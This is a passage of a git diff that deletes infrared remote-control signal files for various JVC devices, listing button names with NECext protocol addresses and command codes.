00 -command: 4D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 60 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 69 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6F 00 00 00 -# -name: frev -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: choice -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 7F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 83 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B5 00 00 00 -# -name: digest -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B9 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BC 00 00 00 -# -name: X_KEY_3dphonic -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BD 00 00 00 -# -name: theaterposition -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C8 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CB 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: arrowup -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: arrowdown -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: arrowleft -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: arrowright -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir deleted file mode 100644 index 7503b5f05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir deleted file mode 100644 index 4f2a939b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 03 00 00 00 -# -name: slow_backward -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 05 00 00 00 -# -name: forwartd -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 07 00 00 00 -# -name: slow_forward -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 17 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 2F 00 00 00 -# -name: zoom_W -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 51 00 00 00 -# -name: zoom_T -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 52 00 00 00 -# -name: start/stop -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 59 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 5D 00 00 00 -# -name: shift_up -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 97 00 00 00 -# -name: shift_down -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 98 00 00 00 -# -name: shift_right -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 99 00 00 00 -# -name: shift_left -type: parsed -protocol: NECext -address: D3 00 00 00 -command: 9A 00 00 00 -# -name: effect_on/off -type: parsed -protocol: NECext -address: D3 00 00 00 -command: B8 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: D3 00 00 00 -command: B9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir deleted file mode 100644 index 8303cdcdc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_T -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A0 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A1 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A2 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A3 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A4 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A5 00 00 00 -# -name: FFWBack -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A5 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A6 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A7 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A8 00 00 00 -# -name: Start/Stop -type: parsed -protocol: NECext -address: DF 00 00 00 -command: A9 00 00 00 -# -name: FFWFront -type: parsed -protocol: NECext -address: DF 00 00 00 -command: AA 00 00 00 -# -name: Set -type: parsed -protocol: NECext -address: DF 00 00 00 -command: AC 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: DF 00 00 00 -command: AD 00 00 00 -# -name: Date -type: parsed -protocol: NECext -address: DF 00 00 00 -command: AE 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: DF 00 00 00 -command: AF 00 00 00 -# -name: Snapshot -type: parsed -protocol: NECext -address: DF 00 00 00 -command: B9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir deleted file mode 100644 index e72b768fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 44 00 00 00 -# -name: SWOOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 49 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4D 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 51 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 54 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 5B 00 00 00 -# -name: K0 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 60 00 00 00 -# -name: K1 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 61 00 00 00 -# -name: K2 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 62 00 00 00 -# -name: K3 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 63 00 00 00 -# -name: K4 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 64 00 00 00 -# -name: K5 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 65 00 00 00 -# -name: K6 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 66 00 00 00 -# -name: K7 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 67 00 00 00 -# -name: K8 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 68 00 00 00 -# -name: K9 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 69 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6D 00 00 00 -# -name: KMINUS10 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6E 00 00 00 -# -name: KPLUS10 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6F 00 00 00 -# -name: SLOW_MINUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 70 00 00 00 -# -name: SLOW_PLUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 76 00 00 00 -# -name: CHOICE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 7F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BC 00 00 00 -# -name: X_KEY_3D_PHONIC -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BD 00 00 00 -# -name: VFP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: BE 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C0 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C8 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CB 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: CD 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D5 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: EE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir deleted file mode 100644 index 6f6a5d3c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 03 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 06 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0B 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0C 00 00 00 -# -name: || -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 0D 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 14 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: KEY_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 19 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: --:-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: OK/START -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: Timer? -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: VHS -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 43 00 00 00 -# -name: DV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 44 00 00 00 -# -name: jog_cc -type: parsed -protocol: NECext -address: 43 00 00 00 -command: AF 00 00 00 -# -name: l_shuttle -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B7 00 00 00 -# -name: r_shuttle -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B8 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: Date+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C6 00 00 00 -# -name: Date- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: Start+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C8 00 00 00 -# -name: Start- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C9 00 00 00 -# -name: Stop+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CA 00 00 00 -# -name: Stop- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CB 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: CC 00 00 00 -# -name: R.A.EDIT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: DD 00 00 00 -# -name: IN/OUT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: DE 00 00 00 -# -name: jog_cw -type: parsed -protocol: NECext -address: 43 00 00 00 -command: ED 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir deleted file mode 100644 index c361ec198..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 02 00 00 00 -# -name: activebass -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 04 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 0D 00 00 00 -# -name: fmstereo -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 29 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2A 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 2E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 32 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 3E 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 42 00 00 00 -# -name: counterreset -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 57 00 00 00 -# -name: deckab -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 58 00 00 00 -# -name: revmode -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 5F 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 70 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 71 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 74 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 77 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 78 00 00 00 -# -name: allcdeject -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7B 00 00 00 -# -name: continue -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 7D 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: 8F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F1 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F2 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F3 00 00 00 -# -name: ejectcd1 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F4 00 00 00 -# -name: ejectcd2 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F5 00 00 00 -# -name: ejectcd3 -type: parsed -protocol: NECext -address: 9F 00 00 00 -command: F6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir deleted file mode 100644 index 799a141bc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: sleeptimer -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: return+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: muting -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 77 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: E6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir deleted file mode 100644 index 8e0bacb07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vmute -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 86 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 90 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: F3 00 00 00 -command: 97 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A1 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A2 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A3 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A4 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A5 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A6 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A7 00 00 00 -# -name: loop -type: parsed -protocol: NECext -address: F3 00 00 00 -command: A8 00 00 00 -# -name: dual -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AA 00 00 00 -# -name: lock -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AB 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AC 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AD 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: F3 00 00 00 -command: AE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir deleted file mode 100644 index 1444b99fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 04 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 0E 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 